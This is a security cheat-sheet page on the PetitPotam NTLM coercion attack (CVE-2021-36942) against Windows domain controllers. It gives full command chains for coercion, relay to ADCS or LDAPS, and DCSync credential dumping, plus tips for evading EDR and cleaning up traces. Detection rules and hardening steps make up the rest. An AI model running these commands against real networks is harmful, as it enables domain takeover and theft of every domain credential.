daemon-sec-cheatsheet

attack-41-petitpotam-cve-2021-36942.md (22717B)

---

 ---
 title: "Attack #41 — PetitPotam (CVE-2021-36942)"
 description: "PetitPotam exploits the Encrypting File System Remote Protocol (MS-EFSR) to coerce a target (typically a DC) to authenticate to an attacker-controlled…"
 category: active-directory
 subcategory: "Domain Controller Attacks"
 tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"]
 tools: ["Impacket", "Certipy", "Responder", "OpenSSL", "PowerShell"]
 difficulty: advanced
 updated: "2026-08-10"
 source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #41 — PetitPotam (CVE-2021-36942).md"
 ---
 # 🔵 Attack #41 — PetitPotam (CVE-2021-36942) — NTLM Coercion
 
 ***
 
 ## 📖 How It Works
 
 PetitPotam exploits the **[Encrypting File System Remote Protocol (MS-EFSR)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/)** to coerce a target (typically a DC) to authenticate to an attacker-controlled host via NTLM. This coerced authentication is then relayed to another service — most commonly **ADCS web enrollment (ESC8)** — to obtain a certificate for the coerced machine account, enabling DCSync and full domain compromise.
 
 PetitPotam was initially **exploitable without authentication** on unpatched DCs, making it an unauthenticated domain compromise vector when combined with ESC8.
 
 > [!info]+ Technical Deep-Dive — MS-EFSR RPC Call Flow
 > 1. The attacker connects to the target's **MS-EFSR RPC endpoint** — accessible via two named pipes: `\pipe\efsrpc` (direct) and `\pipe\lsarpc` (LSASS-hosted)
 > 2. The DCERPC interface UUID is `c681d488-d850-11d0-8c52-00c04fd90f7e` (MS-EFSR)
 > 3. The attacker calls one of several **EFS RPC functions** (see table below) with a UNC path pointing to the attacker's listener (e.g., `\\ATTACKER_IP\share\file`)
 > 4. The target DC attempts to access the specified UNC path, triggering **NTLM authentication** back to the attacker
 > 5. The attacker captures this NTLM authentication and **relays it** to a target service (ADCS HTTP enrollment, LDAP, SMB, etc.)
 > 6. *The relay target receives the authentication as if it came from the DC machine account — enabling certificate enrollment, RBCD configuration, or other privileged operations*
 
 ### Exploitable EFS RPC Functions
 
 | OpNum | Function Name | Auth Required (Patched) | Auth Required (Unpatched) |
 |---|---|---|---|
 | 0 | `EfsRpcOpenFileRaw` | Yes | **No** |
 | 4 | `EfsRpcDecryptFileSrv` | Yes | Yes |
 | 5 | `EfsRpcQueryUsersOnFile` | Yes | Yes |
 | 6 | `EfsRpcQueryRecoveryAgents` | Yes | Yes |
 | 12 | `EfsRpcEncryptFileSrv` | Yes | Yes |
 | 15 | `EfsRpcAddUsersToFile` | Yes | Yes |
 
 > [!warning]+ Patch Status and Authentication Requirements
 > `fas:TriangleExclamation`
 > 1. **Pre-August 2021 patch**: `EfsRpcOpenFileRaw` (OpNum 0) was callable **without authentication** — combined with ESC8, this gave unauthenticated domain compromise
 > 2. **Post-August 2021 patch**: `EfsRpcOpenFileRaw` requires authentication; other functions always required auth
 > 3. **Post-patch, PetitPotam still works with any domain credential** — the patch only closed the unauthenticated vector
 > 4. *Even on fully patched systems, PetitPotam with any low-priv domain account + ESC8 = full domain compromise*
 
 ***
 
 ## ⚙️ Prerequisites
 
 | Requirement | Detail |
 |---|---|
 | **Network access to DC** | MS-EFSR RPC endpoint (port 445 via `\pipe\efsrpc` or `\pipe\lsarpc`) |
 | **Credentials (on patched DCs)** | Any valid domain user — unauthenticated on unpatched DCs |
 | **Relay target** | ADCS web enrollment (ESC8), LDAP (if signing not enforced), SMB (if signing not enforced) |
 | **Listener setup** | ntlmrelayx.py, krbrelayx, or Responder to capture/relay the coerced authentication |
 
 ***
 
 ## 🛠️ Tools
 
 | Tool | Platform | Version | Notes |
 |---|---|---|---|
 | [PetitPotam.py](https://github.com/topotam/PetitPotam) | Linux/Python | Python 3 | Original exploit by topotam — MS-EFSR coercion |
 | [Coercer](https://github.com/p0dalirius/Coercer) | Linux/Python | ≥ 2.0 | Multi-protocol coercion tool — includes PetitPotam + many other coercion methods |
 | [ntlmrelayx.py](https://github.com/fortra/impacket) | Linux | Impacket ≥ 0.10.0 | NTLM relay framework — `--adcs` flag for ESC8 relay |
 | [krbrelayx](https://github.com/dirkjanm/krbrelayx) | Linux/Python | Latest | Kerberos relay; can relay to LDAP(S) with Kerberos auth |
 | [Certipy](https://github.com/ly4k/Certipy) | Linux/Python | ≥ 4.0 | Authenticate with obtained certificate → DCSync |
 | [Responder](https://github.com/lgandx/Responder) | Linux/Python | ≥ 3.0 | Capture NTLM hashes (for cracking instead of relay) |
 
 ***
 
 ## ⏱️ Time-to-Execute Estimates
 
 | Operation | Time | Notes |
 |---|---|---|
 | PetitPotam coercion | **2–5 seconds** | Single RPC call |
 | ntlmrelayx certificate enrollment | **5–15 seconds** | ADCS HTTP enrollment |
 | Certipy auth (certificate → TGT) | **3–10 seconds** | PKINIT authentication |
 | Full chain (coerce → relay → DCSync) | **30–90 seconds** | End-to-end domain compromise |
 
 ***
 
 ## 💻 Full Commands
 
 ### 🔴 PetitPotam Coercion
 
 ```bash
 # ── Unauthenticated (unpatched DCs only — pre-Aug 2021) ──────────────────────
 python3 PetitPotam.py LISTENER_IP DC01.corp.local
 
 # ── Authenticated (works on all DCs) ─────────────────────────────────────────
 python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
   LISTENER_IP DC01.corp.local
 
 # ── With Pass-the-Hash ────────────────────────────────────────────────────────
 python3 PetitPotam.py -u low_user -hashes :aabbccdd11223344 -d corp.local \
   LISTENER_IP DC01.corp.local
 
 # ── Specify named pipe (bypass pipe filtering) ────────────────────────────────
 python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
   -pipe lsarpc LISTENER_IP DC01.corp.local
 # Try: efsrpc, lsarpc, samr, netlogon, lsass
 ```
 
 ### 🔴 Full Attack Chain — PetitPotam + ESC8 (Most Common)
 
 ```bash
 # ── Terminal 1: Start relay to ADCS web enrollment ────────────────────────────
 ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \
   -smb2support --adcs --template DomainController
 
 # ── Terminal 2: Coerce DC to authenticate to our relay ────────────────────────
 python3 PetitPotam.py ATTACKER_IP DC01.corp.local
 # (or with auth: python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC01.corp.local)
 
 # ── Result: ntlmrelayx captures a certificate for DC01$ ──────────────────────
 # Output: "Certificate is saved to DC01.corp.local.b64"
 
 # ── Terminal 3: Authenticate with the certificate → get TGT → DCSync ─────────
 certipy auth -pfx DC01.pfx -dc-ip 10.10.10.10
 # Outputs: DC01.ccache (TGT for DC01$ machine account)
 
 export KRB5CCNAME=DC01.ccache
 secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc
 # Full domain credential dump via DCSync
 ```
 
 ### 🔴 PetitPotam + LDAPS Relay (RBCD Abuse)
 
 ```bash
 # ── If LDAP signing is NOT enforced and ADCS is not available ─────────────────
 
 # Terminal 1: Start LDAPS relay with delegate access
 ntlmrelayx.py -t ldaps://DC02.corp.local --delegate-access -smb2support
 
 # Terminal 2: Coerce DC01 to authenticate
 python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \
   ATTACKER_IP DC01.corp.local
 
 # Result: ntlmrelayx creates a machine account and configures RBCD
 # Output: "Delegation rights modified — YOURPC$ can delegate to DC01$"
 
 # Terminal 3: S4U2Self + S4U2Proxy to impersonate Administrator
 getST.py -spn cifs/DC01.corp.local -impersonate Administrator \
   -dc-ip 10.10.10.10 corp.local/'YOURPC$':'RandomPassword'
 
 export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
 secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
 ```
 
 ### 🔴 Coercer (Multi-Protocol — Includes PetitPotam + More)
 
 ```bash
 # ── Scan for all available coercion methods ───────────────────────────────────
 coercer scan -u low_user -p 'Password1' -d corp.local \
   -t DC01.corp.local
 
 # ── Coerce via MS-EFSR specifically ──────────────────────────────────────────
 coercer coerce -u low_user -p 'Password1' -d corp.local \
   -l LISTENER_IP -t DC01.corp.local --filter-protocol-name MS-EFSR
 
 # ── Coerce via ALL available protocols ────────────────────────────────────────
 coercer coerce -u low_user -p 'Password1' -d corp.local \
   -l LISTENER_IP -t DC01.corp.local
 
 # ── Coerce with specific pipe ────────────────────────────────────────────────
 coercer coerce -u low_user -p 'Password1' -d corp.local \
   -l LISTENER_IP -t DC01.corp.local --filter-pipe-name efsrpc
 ```
 
 ***
 
 ## 🎯 OPSEC Tips
 
 1. **PetitPotam coercion itself is relatively quiet** — a single EFS RPC call generates minimal logs compared to brute-force attacks
 2. **The relay portion is the noisy part** — NTLM relay to ADCS generates certificate enrollment events; relay to LDAP generates LDAP modification events
 3. **Use `\pipe\lsarpc` instead of `\pipe\efsrpc`** — some EDR tools specifically monitor for `efsrpc` pipe access; `lsarpc` is more common and blends with normal traffic
 4. **Coercer's scan mode is detectable** — it probes multiple RPC endpoints; use targeted coercion (specify protocol) instead of scanning all protocols
 5. **Time the attack during business hours** — NTLM traffic is normal during working hours; off-hours coercion stands out in traffic analysis
 6. **Clean up RBCD delegations** if using the LDAPS relay path — leftover `msDS-AllowedToActOnBehalfOfOtherIdentity` entries are forensic artifacts
 
 ### 📊 OpSec Ranking
 
 | Method | Stealth | Speed | Reliability | Notes |
 |---|---|---|---|---|
 | PetitPotam + ESC8 (unauth) | 🟢 High | 🟢 Fast | 🟢 High | Single RPC call + HTTP relay; minimal footprint |
 | PetitPotam + ESC8 (auth) | 🟢 High | 🟢 Fast | 🟢 High | Same as above with auth; still very clean |
 | PetitPotam + LDAPS relay | 🟡 Medium | 🟡 Medium | 🟡 Medium | Creates machine account + RBCD entry (artifacts) |
 | Coercer scan (all protocols) | 🔴 Low | 🟡 Medium | 🟢 High | Probes many RPC endpoints — noisy |
 | Coercer targeted (MS-EFSR only) | 🟢 High | 🟢 Fast | 🟢 High | Same as PetitPotam with better CLI |
 
 ***
 
 ## 🛡️ Detection — Event IDs
 
 | Event ID | Source | What to Look For |
 |---|---|---|
 | **4624** | Security Log (DC) | NTLM authentication from DC machine account to unexpected host (the relay target) |
 | **5145** | Security Log | Network share access — `\pipe\efsrpc` or `\pipe\lsarpc` pipe access from non-admin |
 | **4768** | Security Log (CA) | TGT request using certificate authentication (PKINIT) — post-relay indicator |
 | **4886/4887** | CA Event Log | Certificate request received/approved for a DC machine account template |
 | **4625** | Security Log | Failed NTLM authentication attempts (if relay fails) |
 
 ### 🔎 Sigma Rules
 
 ```yaml
 # ── SigmaHQ — PetitPotam NTLM Coercion via MS-EFSR ──────────────────────────
 title: PetitPotam NTLM Coercion (MS-EFSR Pipe Access)
 id: f0d2e6b8-petitpotam-efsr-coercion
 status: experimental
 logsource:
   product: windows
   service: security
 detection:
   selection:
     EventID: 5145
     ShareName: '\\*\IPC$'
     RelativeTargetName|contains:
       - 'efsrpc'
       - 'lsarpc'
   condition: selection
 level: high
 tags:
   - attack.credential_access
   - attack.t1187
   - cve.2021.36942
 ```
 
 ```yaml
 # ── SigmaHQ — ADCS Certificate Enrollment for Machine Account ────────────────
 title: Suspicious Certificate Enrollment for Machine Account
 id: a1b2c3d4-adcs-machine-cert-enrollment
 logsource:
   product: windows
   service: security
   provider: 'Microsoft-Windows-CertificateServicesClient-AutoEnroll'
 detection:
   selection:
     EventID:
       - 4886
       - 4887
     SubjectName|contains: '$'
     Template|contains: 'DomainController'
   condition: selection
 level: high
 ```
 
 ### 🛡️ EDR-Specific Detections
 
 > [!warning]+ Microsoft Defender for Identity (MDI)
 > 1. **"Suspected NTLM authentication tampering"** — detects NTLM relay patterns including PetitPotam-initiated coercion
 > 2. **"Suspected NTLM relay attack (Exchange account)"** — broader relay detection that also catches PetitPotam chains
 > 3. MDI correlates NTLM authentication from DC machine accounts to non-DC targets as suspicious
 > 4. *Post-2023 MDI updates include specific PetitPotam coercion detection via MS-EFSR pipe monitoring*
 
 > [!warning]+ CrowdStrike Falcon
 > 1. **"NTLM Coercion Attack Detected"** — behavioral detection for MS-EFSR-triggered NTLM authentication to external hosts
 > 2. Falcon monitors outbound NTLM from DC machine accounts — any auth to a non-DC is flagged
 > 3. Process-level detection for PetitPotam.py and Coercer execution on attacker machines within the network
 
 > [!warning]+ Elastic Security
 > 1. Rule: **"Potential NTLM Coercion via MS-EFSR"** — monitors for EFS pipe access from unusual sources
 > 2. Rule: **"ADCS Certificate Enrollment for Machine Account"** — detects relay-to-ADCS chain completion
 > 3. Rule: **"Outbound NTLM from Domain Controller"** — network-level detection for DC-originated NTLM to non-DCs
 
 ***
 
 ## 🔬 Forensic Artifacts
 
 | Artifact | Location | Details |
 |---|---|---|
 | **Named pipe access** | Event 5145 / Sysmon 17/18 | `\pipe\efsrpc` or `\pipe\lsarpc` access from attacker IP |
 | **NTLM auth from DC** | Event 4624 on relay target | DC machine account authenticating to unexpected service (ADCS, LDAP) |
 | **Certificate enrollment** | CA Event Log (4886/4887) | Certificate issued to DC machine account via web enrollment |
 | **RBCD entry** | AD object `msDS-AllowedToActOnBehalfOfOtherIdentity` | If LDAPS relay was used — check this attribute on compromised accounts |
 | **Machine account creation** | Event 4741 | If LDAPS relay created a new machine account for RBCD |
 | **Network capture** | PCAP | MS-EFSR RPC call → NTLM auth → relay to ADCS/LDAP; identifiable by DCERPC UUID and UNC paths |
 
 ***
 
 > [!important]+ Windows Server Version & Patch Differences
 > 1. **Pre-August 2021**: `EfsRpcOpenFileRaw` callable without authentication — **unauthenticated domain compromise** when paired with ESC8
 > 2. **August 2021 patch**: Closes unauthenticated vector for `EfsRpcOpenFileRaw`; other functions still require only low-priv auth
 > 3. **Server 2016**: Vulnerable; patch available
 > 4. **Server 2019**: Vulnerable; patch available
 > 5. **Server 2022**: Shipped patched for unauth; authenticated coercion still works unless EPA is enforced on ADCS
 > 6. **Server 2025**: EPA enabled by default on IIS/ADCS HTTP endpoints — blocks the ESC8 relay path out of the box; LDAPS relay may still work if LDAP channel binding is not enforced
 > 7. *The definitive mitigation is enforcing Extended Protection for Authentication (EPA) on ADCS web enrollment + enforcing LDAP channel binding — NOT just patching PetitPotam*
 
 ***
 
 ## 🔒 Hardening & Prevention
 
 ```powershell
 # ── 1. Enable EPA on ADCS Web Enrollment (blocks ESC8 relay) ─────────────────
 # On the CA server running Certificate Authority Web Enrollment:
 # IIS Manager → Sites → Default Web Site → certsrv →
 # Authentication → Windows Authentication → Advanced Settings →
 # Extended Protection: Required
 # Token Checking: Allow
 
 # Or via appcmd:
 appcmd.exe set config "Default Web Site/certsrv" `
   /section:windowsAuthentication /extendedProtection.tokenChecking:Require
 
 # ── 2. Enforce LDAP signing (blocks LDAP relay) ──────────────────────────────
 # GPO → Computer Configuration → Windows Settings → Security Settings →
 # Local Policies → Security Options →
 # "Domain controller: LDAP server signing requirements" = "Require signing"
 
 # Registry on DCs:
 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
   -Name "LDAPServerIntegrity" -Value 2 -Type DWord
 
 # ── 3. Enforce LDAP channel binding (blocks LDAPS relay) ─────────────────────
 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
   -Name "LdapEnforceChannelBinding" -Value 2 -Type DWord
 # Value 2 = Always enforce channel binding
 
 # ── 4. Disable NTLM where possible ───────────────────────────────────────────
 # GPO → Computer Configuration → Windows Settings → Security Settings →
 # Local Policies → Security Options →
 # "Network security: Restrict NTLM: NTLM authentication in this domain" = "Deny all"
 # ⚠️ Test thoroughly — many legacy apps depend on NTLM
 
 # ── 5. Disable unnecessary EFS RPC service ────────────────────────────────────
 # If EFS is not used, consider disabling access to the EFS pipe:
 # However, there is no clean way to disable MS-EFSR without breaking EFS functionality
 # Best approach: patch + EPA + LDAP signing
 
 # ── 6. Block outbound NTLM from Domain Controllers ───────────────────────────
 # Windows Firewall rule to prevent DCs from authenticating to workstation IPs:
 New-NetFirewallRule -DisplayName "Block DC Outbound SMB/NTLM" `
   -Direction Outbound -Protocol TCP -RemotePort 445 `
   -RemoteAddress "10.10.10.0/24" -Action Block `
   -Profile Domain
 # ⚠️ Exclude other DC IPs and trusted servers
 
 # ── 7. Remove the ADCS HTTP enrollment endpoint entirely ─────────────────────
 # If web enrollment is not needed, disable it:
 # Server Manager → Remove Roles → Remove "Certificate Authority Web Enrollment"
 # This completely eliminates the ESC8 attack surface
 
 # ── 8. Apply August 2021 patch ────────────────────────────────────────────────
 # KB5005565 (Server 2019), KB5005573 (Server 2016)
 # Closes the unauthenticated vector — but authenticated PetitPotam still works
 ```
 
 ***
 
 ## 🧩 Troubleshooting
 
 | Error | Cause | Fix |
 |---|---|---|
 | PetitPotam returns `STATUS_ACCESS_DENIED` | DC is patched; unauthenticated access blocked | Add `-u user -p pass -d domain` for authenticated coercion |
 | `Connection refused` on pipe | MS-EFSR pipe is filtered or firewalled | Try alternative pipes: `-pipe lsarpc`, `-pipe samr`, `-pipe netlogon` |
 | ntlmrelayx shows `Authenticating against ldaps://... failed` | LDAP channel binding is enforced | Switch relay target to ADCS HTTP enrollment (ESC8) instead of LDAP |
 | Certificate enrollment fails with `Access Denied` | Template doesn't allow machine account enrollment | Use `--template DomainController` or `--template Machine`; verify template permissions with `certipy find` |
 | Coercion works but no auth received on listener | Target DC can't reach attacker IP (firewall) | Verify bidirectional connectivity on port 445; attacker IP must be routable from the DC |
 | `Certipy auth` fails with `KDC_ERR_PADATA_TYPE_NOSUPP` | DC doesn't support PKINIT or certificate is invalid | Verify PKINIT is enabled on the DC; check the certificate with `openssl x509 -in cert.pem -text` |
 | Relay to ADCS succeeds but cert is for wrong account | ntlmrelayx template mismatch | Specify `--template DomainController` to ensure the cert is issued for the DC machine account |
 | `Coercer scan` shows no vulnerable methods | All protocols patched or filtered | Try targeted coercion with specific protocols; some newer MS-EFSR functions may still work |
 
 ***
 
 ## 🗺️ MITRE ATT&CK
 
 | Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
 |---|---|---|---|---|
 | **Credential Access** | [T1187](https://attack.mitre.org/techniques/T1187/) | Forced Authentication | Coerce DC NTLM authentication via MS-EFSR RPC calls | Used in ransomware campaigns, red team operations |
 | **Credential Access** | [T1557](https://attack.mitre.org/techniques/T1557/) | [.001 — LLMNR/NBT-NS Poisoning or MDNS](https://attack.mitre.org/techniques/T1557/001/) | Relay coerced NTLM authentication to ADCS, LDAP, or SMB targets | Chained technique |
 | **Privilege Escalation** | [T1068](https://attack.mitre.org/techniques/T1068/) | Exploitation for Privilege Escalation | Chain PetitPotam + ESC8 for domain escalation from any domain user | Multiple ransomware groups |
 
 > [!tip]+ Real-World Usage
 > `fas:Lightbulb`
 > 1. **PetitPotam + ESC8** is one of the most commonly exploited attack chains in modern AD pentests — nearly every environment with ADCS web enrollment enabled is vulnerable
 > 2. **LockBit, BlackCat/ALPHV** ransomware groups have incorporated PetitPotam into their automated domain compromise playbooks
 > 3. **CISA Alert AA21-209A** specifically warns about PetitPotam exploitation in the wild
 > 4. *The combination of PetitPotam (coercion) + ESC8 (relay) represents the most impactful AD attack chain discovered since Zerologon*
 
 ***
 
 ## 🔗 Attack Chain Context
 
 ```
 [PetitPotam] ──→ NTLM Coercion → Relay → Domain Compromise
          │
          ├──→ 🔗 PetitPotam + ESC8 = most common ADCS attack chain (Attack #33)
          ├──→ 🔗 Also chains with: LDAP relay → RBCD, Unconstrained Delegation (Attack #15)
          ├──→ 🔗 Related: PrinterBug (Attack #42) — MS-RPRN coercion (similar concept)
          ├──→ 🔗 Related: NTLM Relay (Attack #7) — relay framework
          ├──→ 💥 Unauthenticated on unpatched DCs (pre-Aug 2021 patches)
          ├──→ 🔗 Coercer tool combines PetitPotam with DFSCoerce, PrinterBug, and more
          └──→ 💀 Defeated by: patch, enable EPA on ADCS, enforce LDAP signing/channel binding, disable NTLM
 ```
 
 ***
 
 > ✅ **Attack #41 — PetitPotam complete.**